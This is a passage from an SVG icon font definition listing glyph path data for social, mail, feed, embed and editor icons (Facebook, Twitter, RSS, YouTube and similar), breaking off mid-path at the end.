<glyph unicode="&#xe159;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,188L 448,188L 448,132L 168,132zM 168,104L 448,104L 448,48L 168,48zM0,20L 448,20L 448-36L0-36zM 112,244 L 112,76 L 0,160 Z" data-tags="indent-decrease, wysiwyg" />
<glyph unicode="&#xe15a;" d="M 84,356l0-336 l 336,0 L 420,356 L 84,356 z M 392,48L 112,48 L 112,328 l 280,0 L 392,48 zM 56-8L 56,272L 28,300L 28-36L 364-36L 336-8 	zM 187.799,84.201L 271.799,168.201L 336,104L 336,272L 168,272L 232.201,207.799L 148.201,123.799 	z" data-tags="new tab, external, outside, popout, link, blank" />
<glyph unicode="&#xe15b;" d="M 126,272L 14,160l 112-112l 56,0 L 70,160l 112,112L 126,272 z M 322,272l-56,0 l 112-112L 266,48l 56,0 l 112,112L 322,272z" data-tags="embed" />
<glyph unicode="&#xe15c;" d="M 56,160L 168,272L 112,272L0,160L 112,48L 168,48 	zM 336,272L 280,272L 392,160L 280,48L 336,48L 448,160 	zM 238,328L 168-8L 210-8L 280,328 	z" data-tags="code, embed" />
<glyph unicode="&#xe15d;" d="M0,356l0-392 l 448,0 L 448,356 L0,356 z M 420-8L 28-8 L 28,328 l 392,0 L 420-8 zM 392,300L 56,300 l0-280 l 336,0 L 392,300 z M 196,160l-28,0 l0-28 l-28,0 l0-28 l-28,0 l0,28 l 28,0 l0,28 l 28,0 l0,28 l-28,0 l0,28 l-28,0 l0,28 l 28,0 l0-28 l 28,0 l0-28 l 28,0 L 196,160 z M 308,104l-84,0 
		l0,28 l 84,0 L 308,104 z" data-tags="console, command line, terminal" />
<glyph unicode="&#xe15e;" d="M 378,76c-19.758,0-37.59-8.198-50.318-21.363L 139.118,148.919C 139.693,152.529, 140,156.228, 140,160
	s-0.307,7.471-0.882,11.080l 188.564,94.282C 340.41,252.198, 358.243,244, 378,244c 38.66,0, 70,31.34, 70,70S 416.66,384, 378,384
	s-70-31.34-70-70c0-3.772, 0.308-7.471, 0.882-11.080L 120.318,208.637C 107.59,221.801, 89.757,230, 70,230c-38.66,0-70-31.341-70-70
	c0-38.661, 31.34-70, 70-70c 19.758,0, 37.59,8.198, 50.318,21.362l 188.564-94.282C 308.308,13.471, 308,9.772, 308,6
	c0-38.661, 31.34-70, 70-70s 70,31.339, 70,70C 448,44.659, 416.66,76, 378,76z" data-tags="share, social" />
<glyph unicode="&#xe15f;" d="M 373.323,384L 74.677,384 C 33.604,384,0,350.407,0,309.337l0-298.662 C0-30.396, 33.604-64, 74.677-64l 298.647,0 
	C 414.422-64, 448-30.396, 448,10.675L 448,309.337 C 448,350.407, 414.422,384, 373.323,384z M 112,272l 224,0 c 3.998,0, 7.877-0.858, 11.438-2.477
	L 224,125.512L 100.562,269.524C 104.123,271.141, 108.002,272, 112,272z M 84,76L 84,244 c0,0.586, 0.025,1.169, 0.061,1.75l 82.103-95.786
	L 84.965,68.764C 84.333,71.099, 84,73.526, 84,76z M 336,48L 112,48 c-2.474,0-4.901,0.333-7.236,0.965l 79.677,79.677L 224,82.487
	l 39.561,46.154l 79.676-79.677C 340.9,48.333, 338.474,48, 336,48z M 364,76c0-2.474-0.333-4.9-0.965-7.236l-81.199,81.199L 363.939,245.75
	c 0.037-0.581, 0.061-1.164, 0.061-1.75L 364,76 z" data-tags="mail, contact, support, newsletter, letter, email, envelop, social" />
<glyph unicode="&#xe160;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 373.337,328c 3.495,0, 6.801-1.021, 9.634-2.775
	L 224,193.799L 65.033,325.224C 67.867,326.978, 71.177,328, 74.675,328L 373.337,328 z M 74.675-8c-0.842,0-1.671,0.064-2.487,0.178
	l 98.711,136.923l-12.8,12.799L 56,39.8L 56,307.173 L 224,104L 392,307.172l0-267.372 L 289.9,141.9l-12.799-12.799l 98.712-136.924
	c-0.813-0.114-1.639-0.178-2.477-0.178L 74.675-8 z" data-tags="mail, contact, support, newsletter, letter, email, envelop, social" />
<glyph unicode="&#xe161;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 79.9-3.899l-33.8,33.799l 112,112
	l 12.8-12.799L 79.9-3.899z M 67.1,297.1l 12.8,12.8L 224,193.799L 368.101,309.9l 12.799-12.8L 224,112.201L 67.1,297.1z
	 M 368.101-3.899l-91,133l 12.799,12.799l 112-112L 368.101-3.899z" data-tags="mail, contact, support, newsletter, letter, email, envelop, social" />
<glyph unicode="&#xe162;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 112,272l 224,0 
	c 3.998,0, 7.877-0.858, 11.438-2.477L 224,125.512L 100.562,269.524C 104.123,271.141, 108.002,272, 112,272z M 84,76L 84,244 
	c0,0.586, 0.025,1.169, 0.061,1.75l 82.103-95.787L 84.965,68.764C 84.333,71.098, 84,73.526, 84,76z M 336,48L 112,48 
	c-2.474,0-4.901,0.333-7.236,0.966l 79.677,79.677L 224,82.487l 39.561,46.154l 79.676-79.678C 340.9,48.333, 338.474,48, 336,48z
	 M 364,76c0-2.474-0.333-4.9-0.965-7.236l-81.2,81.199L 363.939,245.75c 0.037-0.581, 0.061-1.164, 0.061-1.75L 364,76 z" data-tags="mail, contact, support, newsletter, letter, email, envelop, social" />
<glyph unicode="&#xe163;" d="M 345.421,356c0,0-87.918,0-117.224,0c-52.553,0-102.012-39.815-102.012-85.935c0-47.13, 35.823-85.166, 89.288-85.166
	c 3.718,0, 7.331,0.074, 10.867,0.329c-3.469-6.644-5.95-14.126-5.95-21.893c0-13.098, 7.045-23.717, 15.955-32.386
	c-6.731,0-13.231-0.196-20.323-0.196c-65.092,0.001-115.194-41.458-115.194-84.447c0-42.34, 54.925-68.824, 120.021-68.824
	c 74.21,0, 115.196,42.107, 115.196,84.45c0,33.951-10.017,54.282-40.988,76.184c-10.595,7.5-30.858,25.741-30.858,36.463
	c0,12.565, 3.586,18.755, 22.5,33.533c 19.386,15.148, 33.107,36.445, 33.107,61.213c0,29.49-13.135,58.23-37.789,67.713l 37.168,0 
	L 345.421,356z M 304.477,69.237c 0.93-3.925, 1.437-7.966, 1.437-12.087c0-34.212-22.046-60.948-85.301-60.948
	c-44.993,0-77.488,28.483-77.488,62.694c0,33.531, 40.305,61.444, 85.297,60.958c 10.5-0.111, 20.286-1.801, 29.167-4.677
	C 282.013,98.189, 299.534,88.594, 304.477,69.237z M 232.438,196.848c-30.204,0.903-58.903,33.786-64.117,73.439
	c-5.213,39.666, 15.037,70.018, 45.232,69.121C 243.744,338.5, 272.457,306.676, 277.672,267.019
	C 282.881,227.356, 262.627,195.944, 232.438,196.848z" data-tags="google" />
<glyph unicode="&#xe164;" d="M 244.591,356c0,0-87.918,0-117.224,0C 74.815,356, 25.356,316.185, 25.356,270.065c0-47.13, 35.823-85.166, 89.288-85.166
		c 3.718,0, 7.331,0.074, 10.868,0.329c-3.469-6.644-5.951-14.126-5.951-21.893c0-13.098, 7.045-23.717, 15.955-32.386
		c-6.731,0-13.231-0.196-20.323-0.196C 50.102,130.754,0,89.297,0,46.307c0-42.34, 54.925-68.825, 120.021-68.825
		c 74.21,0, 115.196,42.107, 115.196,84.45c0,33.95-10.017,54.282-40.988,76.184c-10.595,7.5-30.857,25.741-30.857,36.463
		c0,12.565, 3.586,18.755, 22.5,33.533c 19.386,15.148, 33.106,36.445, 33.106,61.213c0,29.49-13.134,58.23-37.788,67.713l 37.167,0 
		L 244.591,356z M 203.648,69.237c 0.93-3.925, 1.437-7.965, 1.437-12.087c0-34.212-22.047-60.948-85.301-60.948
		c-44.993,0-77.488,28.483-77.488,62.694c0,33.531, 40.305,61.444, 85.297,60.958c 10.5-0.111, 20.286-1.801, 29.168-4.677
		C 181.184,98.19, 198.706,88.593, 203.648,69.237z M 131.608,196.848c-30.204,0.903-58.903,33.786-64.117,73.439
		c-5.213,39.666, 15.037,70.018, 45.232,69.121c 30.192-0.907, 58.904-32.731, 64.119-72.388
		C 182.052,227.356, 161.797,195.944, 131.608,196.848zM 364,272L 364,356L 336,356L 336,272L 252,272L 252,244L 336,244L 336,160L 364,160L 364,244L 448,244L 448,272 	z" data-tags="google plus, social" />
<glyph unicode="&#xe165;" d="M 373.411,384L 74.043,384 C 32.875,384,0,349.969,0,308.803l0-297.654 C0-31.035, 32.875-64, 74.043-64l 299.367,0 
	C 414.578-64, 448-31.035, 448,11.149L 448,308.803 C 448,349.969, 414.578,384, 373.411,384z M 308,370l0-70 l-70,0 L 238,370 L 308,370 z M 210,370l0-70 l-70,0 L 140,370 L 210,370 z
	 M 14,300L 14,308.803 C 14,342.547, 40.935,370, 74.043,370L 112,370 l0-70 L 14,300 z M 336,104l-84,0 l0-84 l-56,0 l0,84 l-84,0 l0,56 l 84,0 l0,84 l 56,0 l0-84 l 84,0 L 336,104 z M 434,300L 336,300 L 336,370 
	l 37.412,0 C 406.821,370, 434,342.547, 434,308.803L 434,300 z" data-tags="google plus, social" />
<glyph unicode="&#xe166;" d="M 0.353,3.522c-0.107,1.108-0.198,2.218-0.256,3.338C 0.154,5.74, 0.246,4.63, 0.353,3.522zM 103.21,136.748c 40.254-1.198, 67.259,40.555, 60.315,93.274c-6.954,52.71-45.236,95.011-85.491,96.216
		c-40.261,1.194-67.261-39.148-60.31-91.875C 24.672,181.658, 62.94,137.949, 103.21,136.748zM 448,272L 448,309.323 C 448,350.396, 414.408,384, 373.337,384L 74.675,384 C 34.304,384, 1.17,351.523, 0.053,311.407
		c 25.533,22.481, 60.954,41.263, 97.507,41.263c 39.071,0, 156.294,0, 156.294,0l-34.977-29.583l-49.555,0 
		c 32.869-12.602, 50.381-50.804, 50.381-90.003c0-32.921-18.292-61.23-44.139-81.361c-25.219-19.645-30-27.872-30-44.572
		c0-14.253, 27.014-38.5, 41.139-48.47c 41.292-29.11, 54.651-56.137, 54.651-101.262c0-7.187-0.893-14.363-2.654-21.42l 134.637,0 
		C 414.408-64, 448-30.422, 448,10.677L 448,243.999 l-84,0 L 364,160 l-28,0 l0,84 l-83.999,0 l0,28 L 336,272 L 336,356 l 28,0 l0-84 L 448,272 zM 81.325,48.903c 9.456,0, 18.122,0.258, 27.097,0.258c-11.876,11.521-21.274,25.637-21.274,43.041
		c0,10.329, 3.309,20.272, 7.934,29.102c-4.717-0.337-9.533-0.435-14.493-0.435c-32.531,0-60.159,10.533-80.589,27.936l0-29.418 
		l 0.003-88.257C 23.383,42.232, 51.141,48.903, 81.325,48.903zM 1.496-4.175c-0.487,2.388-0.86,4.815-1.112,7.277C 0.635,0.64, 1.010-1.787, 1.496-4.175zM 199.259-32.87c-6.588,25.728-29.949,38.484-62.514,61.061c-11.844,3.82-24.891,6.070-38.891,6.216
		c-39.208,0.422-75.735-15.287-96.345-38.663C 8.475-38.252, 38.713-64, 74.675-64l 125.319,0 c 0.794,4.869, 1.179,9.902, 1.179,15.064
		C 201.174-43.452, 200.503-38.089, 199.259-32.87z" data-tags="google plus, social" />
<glyph unicode="&#xe167;" d="M 191.19,26.054 C 191.19-6.788 170.894-32.742 113.421-34.835 C 79.74-15.679 51.519,11.956 31.649,45.168 C 42.013,70.76 74.389,90.251 111.412,89.843 C 121.922,89.733 131.716,88.043 140.612,85.162 C 165.072,68.158 184.8,57.533 189.754,38.154 C 190.679,34.232 191.19,30.188 191.19,26.054 ZM 224,384C 159.276,384, 100.977,356.538, 60.084,312.645c 16.159,8.948, 35.235,14.279, 55.52,14.279c 29.342,0, 112.192,0, 112.192,0
		L 202.724,300.612L 173.276,300.612 c 20.78-11.905, 31.829-36.421, 31.829-63.443c0-24.803-13.745-44.791-33.154-59.963
		c-18.935-14.788-22.528-20.985-22.528-33.571c0-10.737, 22.628-26.73, 33.031-34.535c 36.233-27.174, 43.565-44.268, 43.565-78.256
		c0-34.443-30.16-68.733-81.316-80.387C 169.356-58.877, 196.078-64, 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z
		 M 336,216l0-56 l-28,0 l0,56 l-56,0 l0,28 l 56,0 L 308,300 l 28,0 l0-56 l 56,0 l0-28 L 336,216 zM 160.023,235.481 C 165.239,195.767 147.841,170.21 117.615,171.11 C 87.372,172.021 58.637,199.763 53.416,239.466 C 48.198,279.186 68.474,309.577 98.71,308.677 C 128.937,307.769 154.807,275.189 160.023,235.481 ZM 96.638,103.095 C 63.965,103.095 36.207,91.822 16.644,75.155 C 5.925,101.326 0,129.969 0,160 C 0,184.835 4.050,208.724 11.511,231.048 C 14.738,187.542 45.353,153.964 95.936,153.964 C 99.661,153.964 103.27,154.158 106.818,154.411 C 103.34,147.748 100.859,140.328 100.859,132.544 C 100.859,119.432 108.072,111.951 116.988,103.278 C 110.25,103.278 103.745,103.095 96.638,103.095 Z" data-tags="google plus, social" />
<glyph unicode="&#xe168;" d="M 200.957,95.324L 126.296-34.031L 373.332-34.031L 448,95.324 	zM 426.83,132L 298.672,354.031L 149.332,354.031L 277.5,132 	zM 128.116,317.275L0,95.324L 74.671-34.031L 202.785,187.923 	z" data-tags="google-drive, drive" />
<glyph unicode="&#xe169;" d="M 251.943-64L 168-64 L 168,160 l-56,0 l0,77.197 l 56,0.025l-0.091,45.479C 167.909,345.68, 184.986,384, 259.171,384l 61.764,0 l0-77.212 l-38.601,0 
	c-28.889,0-30.278-10.787-30.278-30.924l-0.115-38.642l 69.427,0 l-8.183-77.197L 252,160L 251.943-64z" data-tags="facebook, social" />
<glyph unicode="&#xe16a;" d="M 373.338,384L 74.674,384 C 33.605,384,0,350.394,0,309.324l0-298.649 C0-30.423, 33.605-64, 74.674-64l 298.664,0.001
	c 41.071,0, 74.662,33.576, 74.662,74.676L 448,309.324 C 448,350.394, 414.408,384, 373.338,384z M 380.884,160L 308,160 l0-196 l-84,0 L 224,160 l-40.48,0 l0,64.122 L 224,224.122 
	l0,41.644 C 224,322.353, 248.409,356, 314.943,356l 76.669,0 l0-69.374 l-62.619,0 c-18.586,0.031-20.892-9.692-20.892-27.787L 308,224.122l 84,0 
	L 380.884,160z" data-tags="facebook, social" />
<glyph unicode="&#xe16b;" d="M 224,384 C 347.712,384 448,283.712 448,160 C 448,45.771 362.496-48.482 252-62.261 L 252,104 L 329,104 L 336,160 L 252,160 L 252,188 C 252,203.464 264.536,216 280,216 L 336,216 L 336,272 L 280,272 C 233.608,272 196,234.393 196,188 L 196,160 L 154,160 L 154,104 L 196,104 L 196-6.688 L 196-56.943 L 196-62.261 C 85.504-48.482 0,45.771 0,160 C 0,283.712 100.288,384 224,384 Z" data-tags="facebook, social" />
<glyph unicode="&#xe16c;" d="M 373.625,384L 74.375,384 C 33.469,384,0,350.531,0,309.625l0-299.25 c0-40.906, 33.469-74.375, 74.375-74.375l 299.25,0 c 40.906,0, 74.375,33.469, 74.375,74.375L 448,309.625 C 448,350.531, 414.531,384, 373.625,384z
	 M 143.412,188l 161.175,0 c 3.057-8.775, 4.725-18.196, 4.725-28c0-47.042-38.271-85.313-85.313-85.313c-47.042,0-85.313,38.271-85.313,85.313
	C 138.688,169.804, 140.355,179.225, 143.412,188z M 392,187.978L 392,76 l0-56 c0-15.4-12.6-28-28-28L 84-8 c-15.4,0-28,12.6-28,28l0,56 L 56,187.978 L 56,188 
	l 43.797,0 c-2.031-9.013-3.11-18.382-3.11-28c0-70.2, 57.112-127.313, 127.313-127.313c 70.2,0, 127.313,57.112, 127.313,127.313
	c0,9.618-1.078,18.987-3.11,28L 392,188 L 392,187.978 z M 392,286c0-7.7-6.3-14-14-14l-28,0 c-7.7,0-14,6.3-14,14L 336,314 c0,7.7, 6.3,14, 14,14l 28,0 
	c 7.7,0, 14-6.3, 14-14L 392,286 z" data-tags="instagram, social" />
<glyph unicode="&#xe16d;" d="M 448,298.942c-16.483-7.31-34.197-12.251-52.789-14.473c 18.975,11.375, 33.55,29.387, 40.413,50.851
	c-17.761-10.534-37.431-18.183-58.367-22.304c-16.765,17.863-40.653,29.024-67.089,29.024c-50.76,0-91.913-41.15-91.913-91.909
	c0-7.204, 0.813-14.219, 2.38-20.947c-76.388,3.834-144.113,40.425-189.445,96.034c-7.912-13.575-12.445-29.363-12.445-46.208
	c0-31.889, 16.226-60.022, 40.889-76.504c-15.067,0.478-29.239,4.612-41.63,11.497c-0.009-0.383-0.009-0.768-0.009-1.156
	c0-44.532, 31.683-81.68, 73.728-90.125c-7.711-2.1-15.832-3.225-24.215-3.225c-5.923,0-11.68,0.578-17.293,1.65
	c 11.697-36.514, 45.64-63.090, 85.86-63.829c-31.456-24.653-71.088-39.346-114.151-39.346c-7.419,0-14.735,0.435-21.926,1.286
	c 40.675-26.079, 88.988-41.297, 140.893-41.297c 169.060,0, 261.51,140.054, 261.51,261.513c0,3.985-0.090,7.948-0.267,11.891
	C 420.096,264.324, 435.678,280.511, 448,298.942z" data-tags="twitter, tweet, social" />
<glyph unicode="&#xe16e;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 366.648,234.448
	c 0.144-3.212, 0.214-6.444, 0.214-9.69c0-98.969-74.032-213.092-209.413-213.092c-41.564,0-80.252,12.402-112.825,33.652
	c 5.758-0.695, 11.617-1.047, 17.557-1.047c 34.485,0, 66.219,11.974, 91.409,32.061c-32.207,0.604-59.388,22.258-68.755,52.011
	c 4.495-0.875, 9.105-1.345, 13.848-1.345c 6.713,0, 13.215,0.917, 19.39,2.628c-33.67,6.883-59.041,37.151-59.041,73.437
	c0,0.316,0,0.629, 0.007,0.942c 9.922-5.609, 21.273-8.977, 33.337-9.367c-19.75,13.43-32.743,36.353-32.743,62.338
	c0,13.724, 3.629,26.59, 9.965,37.65c 36.301-45.312, 90.535-75.127, 151.705-78.252c-1.256,5.483-1.907,11.198-1.907,17.069
	c0,41.36, 32.955,74.891, 73.601,74.891c 21.171,0, 40.302-9.094, 53.726-23.65c 16.765,3.358, 32.517,9.59, 46.739,18.175
	c-5.496-17.489-17.165-32.166-32.36-41.436c 14.886,1.81, 29.073,5.836, 42.271,11.792C 393.509,258.198, 381.030,245.006, 366.648,234.448
	z" data-tags="twitter, tweet, social" />
<glyph unicode="&#xe16f;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 352.731,226.024
	c 0.128-2.847, 0.193-5.712, 0.193-8.592c0-87.772-66.81-188.984-188.982-188.984c-37.51,0-72.422,10.997-101.818,29.844
	c 5.196-0.616, 10.483-0.93, 15.845-0.93c 31.119,0, 59.758,10.621, 82.491,28.435c-29.065,0.534-53.594,19.741-62.048,46.127
	c 4.057-0.773, 8.218-1.191, 12.498-1.191c 6.058,0, 11.925,0.812, 17.499,2.329c-30.385,6.104-53.281,32.949-53.281,65.13
	c0,0.28,0,0.559, 0.007,0.836c 8.956-4.974, 19.197-7.962, 30.084-8.307c-17.824,11.91-29.549,32.24-29.549,55.286
	c0,12.172, 3.276,23.583, 8.993,33.392c 32.759-40.186, 81.702-66.628, 136.904-69.4c-1.132,4.864-1.719,9.932-1.719,15.139
	c0,36.68, 29.741,66.418, 66.42,66.418c 19.104,0, 36.367-8.066, 48.483-20.974c 15.129,2.978, 29.345,8.506, 42.18,16.117
	c-4.96-15.511-15.492-28.528-29.204-36.747c 13.436,1.605, 26.236,5.177, 38.147,10.458
	C 376.972,247.088, 365.711,235.39, 352.731,226.024z" data-tags="twitter, social" />
<glyph unicode="&#xe170;" d="M 59.629,55.468c-32.898,0-59.628-26.834-59.628-59.533c0-32.88, 26.731-59.413, 59.628-59.413
		c 33.016,0, 59.716,26.534, 59.716,59.413C 119.344,28.635, 92.647,55.468, 59.629,55.468zM 0.068,231.781l0-85.863 c 55.906,0, 108.482-21.863, 148.075-61.474c 39.543-39.514, 61.373-92.328, 61.373-148.444l 86.241,0 
		C 295.757,99.109, 163.072,231.781, 0.068,231.781zM 0.17,384l0-85.906 c 199.405,0, 361.706-162.459, 361.706-362.094L 448-64 C 448,182.956, 247.076,384, 0.17,384z" data-tags="feed, rss, social" />
<glyph unicode="&#xe171;" d="M 373.336,384L 74.675,384 C 33.604,384,0,350.395,0,309.324l0-298.65 C0-30.422, 33.605-64, 74.676-64L 373.336-64 
	c 41.071,0, 74.664,33.577, 74.664,74.674L 448,309.324 C 448,350.395, 414.407,384, 373.336,384z M 122.038,20.329C 101.051,20.329, 84,37.257, 84,58.229
	c0,20.862, 17.050,37.98, 38.038,37.98c 21.069,0, 38.089-17.119, 38.089-37.98C 160.126,37.257, 143.106,20.329, 122.038,20.329z
	 M 217.642,20.002c0,35.792-13.916,69.483-39.139,94.694c-25.25,25.266-58.79,39.211-94.458,39.211L 84.046,208.676 
	c 103.973,0, 188.618-84.631, 188.618-188.674L 217.642,20.002L 217.642,20.002z M 314.837,20.002
	c0,127.34-103.538,230.974-230.727,230.974L 84.11,305.772 c 157.501,0, 285.664-128.242, 285.664-285.772L 314.837,20.002L 314.837,20.002z" data-tags="feed, rss, social" />
<glyph unicode="&#xe172;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,48
	c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 155.464,48, 140,48z M 217,48c0,57.897-47.103,105-105,105l0,42 
	c 81.056,0, 147-65.944, 147-147L 217,48 z M 301,48c0,50.483-19.66,97.946-55.357,133.643C 209.946,217.341, 162.484,237, 112,237l0,42 
	c 61.702,0, 119.711-24.028, 163.342-67.659C 318.972,167.711, 343,109.702, 343,48L 301,48 z" data-tags="feed, rss, social" />
<glyph unicode="&#xe173;" d="M 364,328L 84,328 c-46.2,0-84-37.8-84-84l0-168 c0-46.2, 37.8-84, 84-84l 280,0 c 46.2,0, 84,37.8, 84,84L 448,244 C 448,290.2, 410.2,328, 364,328z
	 M 168,48L 168,272 l 140-112L 168,48z" data-tags="youtube, social" />
<glyph unicode="&#xe174;" d="M 364,328L 84,328 c-46.2,0-84-37.8-84-84l0-168 c0-46.2, 37.8-84, 84-84l 280,0 c 46.2,0, 84,37.8, 84,84L 448,244 C 448,290.2, 410.2,328, 364,328z
		 M 420,76c0-14.865-5.851-28.902-16.474-39.526C 392.902,25.851, 378.866,20, 364,20L 84,20 c-14.865,0-28.902,5.851-39.525,16.474
		C 33.851,47.098, 28,61.135, 28,76L 28,244 c0,14.865, 5.851,28.902, 16.474,39.525S 69.135,300, 84,300l 280,0 
		c 14.865,0, 28.902-5.851, 39.526-16.474C 414.15,272.902, 420,258.865, 420,244L 420,76 zM 168,48L 308,160L 168,272 	z" data-tags="youtube, social" />
<glyph unicode="&#xe175;" d="M0,249.088l 18.197-23.863c0,0, 37.524,29.579, 50.032,14.788c 12.507-14.788, 60.259-193.356, 76.199-226.295
	c 13.912-28.888, 52.289-67.078, 94.375-39.805c 42.059,27.274, 181.93,146.688, 206.966,287.707
	c 25.016,140.974-168.315,111.443-188.794-11.379c 51.183,30.728, 78.503-12.485, 52.312-61.413
	c-26.144-48.879-50.032-80.759-62.541-80.759c-12.485,0-22.089,32.711-36.395,89.883c-14.787,59.107-14.697,165.576-76.176,153.506
	C 76.199,340.078,0,249.088,0,249.088z" data-tags="vimeo, social" />
<glyph unicode="&#xe176;" d="M 373.323,384L 74.677,384 C 33.605,384,0,350.393,0,309.322l0-298.646 C0-30.422, 33.605-64, 74.677-64l 298.646,0 
	C 414.395-64, 448-30.422, 448,10.677L 448,309.322 C 448,350.393, 414.395,384, 373.323,384z M 355.63,192.32
	c-14.857-83.692-97.872-154.567-122.841-170.761c-24.976-16.19-47.755,6.485-56.017,23.622
	c-9.457,19.56-37.804,125.536-45.224,134.321c-7.422,8.767-29.696-8.785-29.696-8.785l-10.803,14.164
	c0,0, 45.23,54.008, 79.642,60.759c 36.489,7.16, 36.435-56.029, 45.211-91.106c 8.487-33.934, 14.192-53.354, 21.602-53.354
	c 7.424,0, 21.605,18.927, 37.123,47.937c 15.547,29.040-0.673,54.692-31.050,36.44C 255.734,258.469, 370.48,275.999, 355.63,192.32z" data-tags="vimeo2" />
<glyph unicode="&#xe177;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 355.63,192.32
	c-14.857-83.692-97.872-154.567-122.841-170.761c-24.976-16.19-47.755,6.485-56.017,23.622
	c-9.457,19.56-37.804,125.536-45.224,134.321c-7.422,8.767-29.696-8.785-29.696-8.785l-10.803,14.164
	c0,0, 45.23,54.008, 79.642,60.759c 36.489,7.16, 36.435-56.029, 45.211-91.106c 8.487-33.934, 14.192-53.354, 21.602-53.354
	c 7.424,0, 21.605,18.927, 37.123,47.937c 15.547,29.040-0.673,54.692-31.050,36.44C 255.734,258.469, 370.48,275.999, 355.63,192.32z" data-tags="vimeo" />
<glyph unicode="&#xe178;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z
	 M 369.105,30.646c-49.583-16.334-146.416-48.125-164.5-52.646s-36.75-12.105-47.25,18.229c0,0-89.25,263.666-97.416,287S 43.817,320.629, 62.271,328
	c 42.602,17.016, 86.916,38.719, 95.084,14c 7.307-22.114, 85.166-266, 85.166-266s 91.583,32.23, 116.666,39.23s 33.688,11.667, 40.25-22.75
	S 418.688,46.98, 369.105,30.646z" data-tags="lanyrd" />
<glyph unicode="&#xe179;" d="M0,146A98,98 1260 1 0 196,146A98,98 1260 1 0 0,146zM 252,146A98,98 1260 1 0 448,146A98,98 1260 1 0 252,146z" data-tags="flickr, social" />
<glyph unicode="&#xe17a;" d="M 350,202 C 319.121,202 294,176.879 294,146 C 294,115.121 319.121,90 350,90 C 380.879,90 406,115.121 406,146 C 406,176.879 380.879,202 350,202 Z M 350,244 L 350,244 C 404.123,244 448,200.124 448,146 C 448,91.877 404.123,48 350,48 C 295.877,48 252,91.877 252,146 C 252,200.124 295.877,244 350,244 ZM0,146A98,98 1260 1 0 196,146A98,98 1260 1 0 0,146z" data-tags="flickr, social" />
<glyph unicode="&#xe17b;" d="M 373.352,384L 74.676,384 C 33.605,384,0,350.395,0,309.327l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.673,0 
	C 414.419-64, 448-30.42, 448,10.68L 448,309.327 C 448,350.395, 414.419,384, 373.352,384z M 126,90c-38.66,0-70,31.34-70,70
	c0,38.66, 31.34,70, 70,70s 70-31.34, 70-70C 196,121.34, 164.66,90, 126,90z M 322,90c-38.661,0-70,31.34-70,70
	c0,38.66, 31.339,70, 70,70s 70-31.34, 70-70C 392,121.34, 360.661,90, 322,90z" data-tags="flickr, social" />
<glyph unicode="&#xe17c;" d="M 224,384C 100.288,384,0,283.027,0,158.469S 100.288-67.063, 224-67.063s 224,100.973, 224,225.531S 347.712,384, 224,384z M 126,90
	c-38.66,0-70,31.34-70,70c0,38.66, 31.34,70, 70,70s 70-31.34, 70-70C 196,121.34, 164.66,90, 126,90z M 322,90
	c-38.661,0-70,31.34-70,70c0,38.66, 31.339,70, 70,70s 70-31.34, 70-70C 392,121.34, 360.661,90, 322,90z" data-tags="flickr, social" />
<glyph unicode="&#xe17d;" d="M 308,211.511 L 148.55,370.961 C 172.127,379.394 197.524,384 224,384 C 253.708,384 282.058,378.203 308,367.7 L 308,211.511 ZM 336,76 L 336,354.025 C 402.952,315.294 448,242.91 448,160 C 448,130.292 442.203,101.942 431.701,76 L 336,76 ZM 140,48 L 418.025,48 C 379.294-18.952 306.91-64 224-64 C 194.292-64 165.942-58.203 140-47.701 L 140,48 ZM 186.489,286 L 6.553,106.064 C 2.281,123.341 0,141.403 0,160 C 0,244.605 46.911,318.245 116.135,356.354 L 186.489,286 ZM 112,164.489 L 112-34.025 C 70.614-10.084 37.609,26.721 18.43,70.919 L 112,164.489 Z" data-tags="picassa, social" />
<glyph unicode="&#xe17e;" d="M 373.352,384L 74.676,384 C 33.605,384,0,350.395,0,309.327l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.672,0 
	C 414.419-64, 448-30.42, 448,10.68L 448,309.327 C 448,350.395, 414.419,384, 373.352,384z M 224,356c 30.062,0, 58.539-6.777, 84-18.873L 308,211.511 
	L 170.818,348.693C 187.73,353.45, 205.567,356, 224,356z M 28,160c0,76.951, 44.352,143.532, 108.882,175.606L 186.489,286L 30.313,129.824
	C 28.793,139.661, 28,149.737, 28,160z M 112-0.852c-32.674,22.793-58.084,55.277-72.044,93.297L 112,164.489L 112-0.852 z M 224-36
	c-30.062,0-58.539,6.777-84,18.873L 140,48 l 244.852,0 C 349.434-2.773, 290.601-36, 224-36z M 401.127,76L 336,76 L 336,320.853 
	c 50.773-35.419, 84-94.251, 84-160.853C 420,129.938, 413.223,101.461, 401.127,76z" data-tags="picassa, social" />
<glyph unicode="&#xe17f;" d="M 224.001-64C 100.486-64,0,36.486,0,160S 100.486,384, 224.001,384
	C 347.517,384, 448,283.514, 448,160S 347.517-64, 224.001-64z M 412.912,129.337c-6.546,2.065-59.222,17.776-119.179,8.18
